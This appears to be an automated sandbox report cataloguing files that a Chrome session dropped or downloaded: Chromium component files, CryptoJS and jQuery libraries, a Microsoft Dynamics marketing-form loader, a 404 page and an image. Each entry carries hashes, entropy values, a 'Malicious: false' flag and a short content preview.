Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	low
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.016071477261241
Encrypted:	false
SSDEEP:	48:p/hUI1DFp6dAdI37aknWRnjWTHCqBY343lpbjkBMgPMcWdYr:RnDFEQI37aenTe34vbjP9Xu
MD5:	C763E190E16A6AB7278BCD19A87EE814
SHA1:	80387096F161B93A1E2BFE5D0DC4A3F03253C17B
SHA-256:	D0B9603572E0EA17449A0EAEE36DD1BCC034F01B27852E4A47B16BB2CD718C47
SHA-512:	CEB9CA402DF3A3D836AEFD2BE8C6137F306660A2F9BBFE491467A45F797CEB58BDAB5985FA4E896B719FA4644F6F9A7BF4E18EF098663E8AF4D61972BEDA414A
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJxeGI0QVFNLUZOa2RyZEhBNUMzREJjTHRCb1B6X2p6M2RQMWxwNzlYUUE4In0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiUmNuMkdaOUo2VmZVaE05VkxmaXRwbTJSRTFjd2E2QmRtTTZxTXhHSVRBOCJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNS4yLjEyLjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"aTpzdRi_xiuaKaWwRYfy_Yr5ZTfo_lptoFSXyG3jKaARbgHpO9uH_VYBl5_U1-CioAoUdRmQY_LzdxXBXIIUKl1nOiFkPK4WWWkhK_Ddnem_R0tmUoMFYfaIwu5BvZG2m76_K0GF7L17W0qIP1A1KtK5y_vWJ21LJOkEV8bugpE_yE-VBxLUrAdQYV8jWGBbt6Me-60g9f9swMPalRz1DhixbOzdnUTY8UNx84OAnW29uVVxp0Dk-S-

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8839822796016237
Encrypted:	false
SSDEEP:	3:SqSASSUTWVAV3AR8OEcRDGeWH7u3:SpASSUaVAV3S8O/dWHK3
MD5:	29C67C9443BA1281E826D6994B89A2ED
SHA1:	57DB143FAA3476F1575EB778539F6984C701D047
SHA-256:	5F7886667309D2C54F7121541D0DE1C8097E10B6D9BBB3926C2BCC538DFC3210
SHA-512:	212C93D94E97C397E23A9A71DC0975A9A4049EC27A2E22F2B2DE272624351D13E425647D010DB41228B6A12ADDA85DBB16AD6CF381EA2EC93ED4ED6926A911B0
Malicious:	false
Reputation:	low
Preview:	1.ca4b57e7736ca30dcc3245eb2e2d03f79f739a7864fcacc3b31ac08a67e3a1b9

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.405077845741412
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1o6A:F6VlM8aRWpqS1ox
MD5:	5CADF08593AC029AE32BCEEB0817D249
SHA1:	6A3BC9ECF1EF7BD5B34933382B5FF6DEFD12E20F
SHA-256:	AB16F801033E14D91DADD1C0E42DC305C2ED0683F3FE3CF774FD65A7BF57400F
SHA-512:	2FBAE0417DC0D86CC631C38ECC44684D356AD707D8F1A21899EB3A82376A6D76EEA88697B0C6DE180C60FFC43B062C7ACEA71D35E120600EB9A1AC992F5EF858
Malicious:	false
Reputation:	low
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2025.2.12.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping3864_8743478\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9911
Entropy (8bit):	4.629482317597247
Encrypted:	false
SSDEEP:	96:Mon4mvCuqX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5Cuql7BkIVmtRTGXvcxBsl
MD5:	A37E1072FA7492570CDBD9E27A629C1A
SHA1:	B5D56FADC8824351C34C0C6E85151FD8FD7CC3E3
SHA-256:	B9671DF54E93450E6805481DD78D34B866BAF3FD1269C1358CC273DA33B69CEE
SHA-512:	6372E18C9551E16EC6F879C4300509464AFA52AB5A033F54117E498B80FF3C4F21AD0CD1BD2ECFB081565597FE0E83BD86364529698F7B1A03BF6201BE7D5D35
Malicious:	false
Reputation:	low
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://datasign.jp","as

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	low
Preview:	1

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 301 x 167, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3419
Entropy (8bit):	7.887041172167242
Encrypted:	false
SSDEEP:	96:ypipQhUc2DTOkZBD80TlbGkJHqXSg5WTa1:zpQsTZBDFGjLITa1
MD5:	BBB20457DF09DB4A40EE5391CD363062
SHA1:	D11FF8C12F2310555CB1D993DEF2D2F063C945C8
SHA-256:	4989C3F70E6FE485D2C87A7B5F27FF0841BF46A5A0D412727C56A7F7CEC2818C
SHA-512:	95BD110A1FFF5E2FD9F0D2D2B61D6E7FBF4B7C2BF79C8DA8CA937826D567E80FF2F4D52351042CAE8C3BE3138BE5260575FAD3BA8AE090B6592CCD80BF6485D3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...-.........sa......PLTE.......s........q...........i..o..k.,...m......(.................K..................f..}...................@............[....e..UE.......z....wk....2..y..S......5....o.......`....{......Y. ...SIDATx..iw....^....L.@.;$dO ......d.J6K.$}.s.......^.j....A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..A..i...w....u&.y.....[m4..?:.Oi..B.v8.\|Y: (n.Wm5 ..l..;......r..x..C..o>T.M.m.t.a.7....).....RZJ.......8v}w.'..3t}.H,.......x.....Z..#......i$...vx(..R...\....?.[.^.X......x..O'..V....._<.<.0..?}........j....>...}2...X...?\.c^+a`.....M.{...M.`v....uvQ..Mz.K.;.VP.c.;...G.]....hh.h%p....f...~}o.X;.....Xg...z.G{..U...1.^.}...+..~..h....`..2.d..;...3..%vr.....c..9j.N......^..9.....Wm.bY.gnI..G3s....o.\|-j..$.4"ch..;y...v..b..y+n.`)YU..Z\.......[..h...8[.....f.x.Mvh...[..No...q..6..[.)....G......9..x.:....F..M..J...PA7....>.......O....:#.h.TJaX>..W.....+.Mi.3..2.a.q.....=_`v.i._7.f....-.m.O...k.w>Z,..Q..j.S..

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2350
Entropy (8bit):	4.657083090386339
Encrypted:	false
SSDEEP:	48:micaIPU7oeoc8ZslkY04YOPmlgRjNOeFp3jP/PUG9C1CK0QP+fHwu8i:micaQUMeB8ZsyY7YOPCgRg2jP/2CKvWf
MD5:	70B8F1274DCB7566C92989A3A1117E3C
SHA1:	3E3460C880847F43AB8A16EF6CC2515BAA59748A
SHA-256:	0ABC6E25F7FC8A67E3C830A39C14E94613D4B8CF0463FA0BFC4431DE29D3E783
SHA-512:	C6A947887C5C128C53FD89A8EB14D38E29A8FF87E678A2B2BCB468F7C0783960C92441B87E018017A364BB0CF718359A7AE368B759780F8E89E5AA0CC4C9263B
Malicious:	false
Reputation:	low
Preview:	{.. "FormFailedToLoad": "Failed to load form",.. "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue",.. "LearnMore": "Learn more",.. "FormSubmitted": "Form submitted",.. "FormSubmitError": "Error submitting the form",.. "Reload": "Reload",.. "LookupLoading": "loading...",.. "LookupGenericError": "There was a problem retrieving items. Try again later.",.. "ValidationRequiredField": "This field is required",.. "ValidationSessionSelectionRequired": "Please choose at least one session",.. "ValidationSingleSessionSelectionRequired": "Please choose a session",.. "EventFailedToLoad": "Failed to load event.",.. "EventAtCapacity": "The event is full and is not accepting any more sign-ups.",.. "EventNotLive": "We are still setting up this event. Please check again in some time or contact the event organizer ",.. "SubmissionErrorEventNotLive": "Registrations for this event have

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	dropped
Size (bytes):	48239
Entropy (8bit):	5.343293551896254
Encrypted:	false
SSDEEP:	768:+CbPzHMb42Q74a0rhgaqC2DdXNTjwzsKSA0ZsC3Y2SIijkKY1LBep7iFFQ7Srv3h:gb42o4a0rhgaqDEzs42S3kH
MD5:	781E3D70AD7285932B560AF603AE0CF5
SHA1:	05DCF1FBCD9BE56DC5FC3C2816EF3C0283C59C1B
SHA-256:	F3C3760A932B9639CC554025300C8917E00F4F62E261086F5606C9E3A30D4836
SHA-512:	05411E974DCEFB50C9D20E932C91EFB50093FE815362893C511DCAC94A87B75436FA68301D8682CEBE49F6792BE61E7F39D5D1F0725A43A5D92F9AC17BD9F82C
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	548
Entropy (8bit):	4.688532577858027
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5r8INGlTF5TF5TF5TF5TF5TFK:neRH68DTPTPTPTPTPTc
MD5:	370E16C3B7DBA286CFF055F93B9A94D8
SHA1:	65F3537C3C798F7DA146C55AEF536F7B5D0CB943
SHA-256:	D465172175D35D493FB1633E237700022BD849FA123164790B168B8318ACB090
SHA-512:	75CD6A0AC7D6081D35140ABBEA018D1A2608DD936E2E21F61BF69E063F6FA16DD31C62392F5703D7A7C828EE3D4ECC838E73BFF029A98CED8986ACB5C8364966
Malicious:	false
Reputation:	low
URL:	https://assets-usa.mkt.dynamics.com/favicon.ico
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2350
Entropy (8bit):	4.657083090386339
Encrypted:	false
SSDEEP:	48:micaIPU7oeoc8ZslkY04YOPmlgRjNOeFp3jP/PUG9C1CK0QP+fHwu8i:micaQUMeB8ZsyY7YOPCgRg2jP/2CKvWf
MD5:	70B8F1274DCB7566C92989A3A1117E3C
SHA1:	3E3460C880847F43AB8A16EF6CC2515BAA59748A
SHA-256:	0ABC6E25F7FC8A67E3C830A39C14E94613D4B8CF0463FA0BFC4431DE29D3E783
SHA-512:	C6A947887C5C128C53FD89A8EB14D38E29A8FF87E678A2B2BCB468F7C0783960C92441B87E018017A364BB0CF718359A7AE368B759780F8E89E5AA0CC4C9263B
Malicious:	false
Reputation:	low
URL:	https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/public/locales/en-us/translation.json
Preview:	{.. "FormFailedToLoad": "Failed to load form",.. "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue",.. "LearnMore": "Learn more",.. "FormSubmitted": "Form submitted",.. "FormSubmitError": "Error submitting the form",.. "Reload": "Reload",.. "LookupLoading": "loading...",.. "LookupGenericError": "There was a problem retrieving items. Try again later.",.. "ValidationRequiredField": "This field is required",.. "ValidationSessionSelectionRequired": "Please choose at least one session",.. "ValidationSingleSessionSelectionRequired": "Please choose a session",.. "EventFailedToLoad": "Failed to load event.",.. "EventAtCapacity": "The event is full and is not accepting any more sign-ups.",.. "EventNotLive": "We are still setting up this event. Please check again in some time or contact the event organizer ",.. "SubmissionErrorEventNotLive": "Registrations for this event have

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65461)
Category:	dropped
Size (bytes):	784727
Entropy (8bit):	5.437144286523978
Encrypted:	false
SSDEEP:	6144:zbJDOc04G57XuSHwzocX9gTKCJw9g6i5s0Fl8wNxk9d:3ZO7PXu46i5s0Fl80xa
MD5:	6254D0C0D46B404FD6203DA95918A79D
SHA1:	0FC495742C5B0ABC3643761B68B52DA17DFD56A7
SHA-256:	FD7E0BF9A66A3837CAC3306D9C56B58BFBDD0A5E11FDB1F8AB00AB2A45238375
SHA-512:	003F1A966A3DB6C588E4300252CC465C721E66A2C6FB1B0708A698C09902F89BA47F1274D736DDB9945B76F53B71392161712884E2E9FEA1F004C867E81C5D91
Malicious:	false
Reputation:	low
Preview:	/! For license information please see FormLoader.bundle.js.LICENSE.txt /.var d365mktforms;(()=>{var e,t,n={686:function(e,t){var n="undefined"!=typeof self?self:this,r=function(){function e(){this.fetch=!1,this.DOMException=n.DOMException}return e.prototype=n,new e}();!function(e){!function(t){var n="URLSearchParams"in e,r="Symbol"in e&&"iterator"in Symbol,i="FileReader"in e&&"Blob"in e&&function(){try{return new Blob,!0}catch(e){return!1}}(),a="FormData"in e,o="ArrayBuffer"in e;if(o)var s=["[object Int8Array]","[object Uint8Array]","[object Uint8ClampedArray]","[object Int16Array]","[object Uint16Array]","[object Int32Array]","[object Uint32Array]","[object Float32Array]","[object Float64Array]"],u=ArrayBuffer.isView\|\|function(e){return e&&s.indexOf(Object.prototype.toString.call(e))>-1};function l(e){if("string"!=typeof e&&(e=String(e)),/[^a-z0-9\-#$%&'*+.^_`\|~]/i.test(e))throw new TypeError("Invalid character in header field name");return e.toLowerCase()}function c(e){return"strin

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	568
Entropy (8bit):	5.097033850446682
Encrypted:	false
SSDEEP:	12:s8SMVRj8//qvSJEDoi24MCSMVRKbNh6BAdexMAdTmRgb:q8W/ivg8op4zIEAdexbTmRgb
MD5:	A215829A06230333D45FC74945CDBEB6
SHA1:	93888B4A058BB5825AE2EC977FB0311A3178147A
SHA-256:	5AAE38211CE050A5F03E9158D68120E889E8390E548B5EC7C3BCE1DCD6587EBC
SHA-512:	A42A5AF49D116C6E8A66F0E9D17CF7AB14AC6C531D390B843D8F07AD43F9270DF6838B4CB66564452E4FB09604FEE8C2D0E6F358025D5A2526D39159D80C0851
Malicious:	false
Reputation:	low
URL:	https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/standaloneforms/f762be82-c9f2-ef11-9342-000d3a59dfbe
Preview:	<div. data-form-id='f762be82-c9f2-ef11-9342-000d3a59dfbe'. data-form-api-url='https://public-usa.mkt.dynamics.com/api/v1.0/orgs/073116b7-d9ed-ef11-933d-6045bd027c35/landingpageforms'. data-cached-form-url='https://assets-usa.mkt.dynamics.com/073116b7-d9ed-ef11-933d-6045bd027c35/digitalassets/forms/f762be82-c9f2-ef11-9342-000d3a59dfbe' ></div>. <script src = 'https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js' ></script>. <script>document.documentElement.lang = navigator.language;</script>

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (14626)
Category:	dropped
Size (bytes):	26432
Entropy (8bit):	5.108512836447738
Encrypted:	false
SSDEEP:	192:A3ydPQaWYyYlFD6br9ibqR5TZ5V0irJaqaRGW/Lou6EYYnqTkUT0/5lLd50V1vXu:EzjOi8qaRBjj6EPH/0U
MD5:	A707DFA44261FF1CAC76CE9CE08B27EA
SHA1:	7EE679C771831D9129FAA12EE8BE8BE33A6E44CE
SHA-256:	7E7BBBA35B11C3FF9B5C379D1B83C3359CB5EB350730F9A06672D21B7238B135
SHA-512:	8B2344855E807128A9207EBA91BD4F6C349251EA3A03A5F77663EA06435845D0DCA3071DB0426029A3CABF01A6A434E2C1C7C6CB4321F30E817B60B7BDFD4672
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="https://go.microsoft.com/fwlink/?linkid=2224838" data-comment="Form extensibility documentation" rel="author"><title>Marketing Form</title><meta name="referrer" content="never"><meta type="xrm/designer/setting" name="type" value="marketing-designer-content-editor-document"><meta type="xrm/designer/setting" name="layout-editable" value="marketing-designer-layout-editable"><style>. .hide-on-desktop-class {. display: none !important;. }. .editor-control-layout html {box-sizing: border-box;background-color: #fff;}.editor-control-layout ,.editor-control-layout :before,.editor-control-layout *:after {box-sizing: inherit;}.marketingForm h1 {color: #000;margin: 0px;padding: 0px;width: 100%;font-family: "Segoe UI", Arial, sans-serif;line-height: 1.25;font-size: 28px;}.marketingForm h2 {co

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65364)
Category:	downloaded
Size (bytes):	183751
Entropy (8bit):	4.425243058303657
Encrypted:	false
SSDEEP:	1536:DCTmumLbGUiqK9GETpN3NrkSaceLsCTmumLbGUiqK9GETpN3NrkSaceL+LBuJLBq:zvgx9NLvgx9NZGq
MD5:	01E7642D6917DE0DB274F236A11ABFC6
SHA1:	EC79C2BE2AB0FBD40EEF978FB2416275A3FADD30
SHA-256:	92B865D1CFEA38FA0A0C31919171A38173B66A0ABE22381F1EBBA597C7C540F6
SHA-512:	316556187154E6CCB072932A590DBA5EE988557C07972C9A470B758FC00BE0AEB79569D269012DD1C028BDA9B67E9FE34E6DE0CFB2BA0BB5464B4F6CB9A35618
Malicious:	false
Reputation:	low
URL:	https://rvxt.ymactablet.com/a7ju/
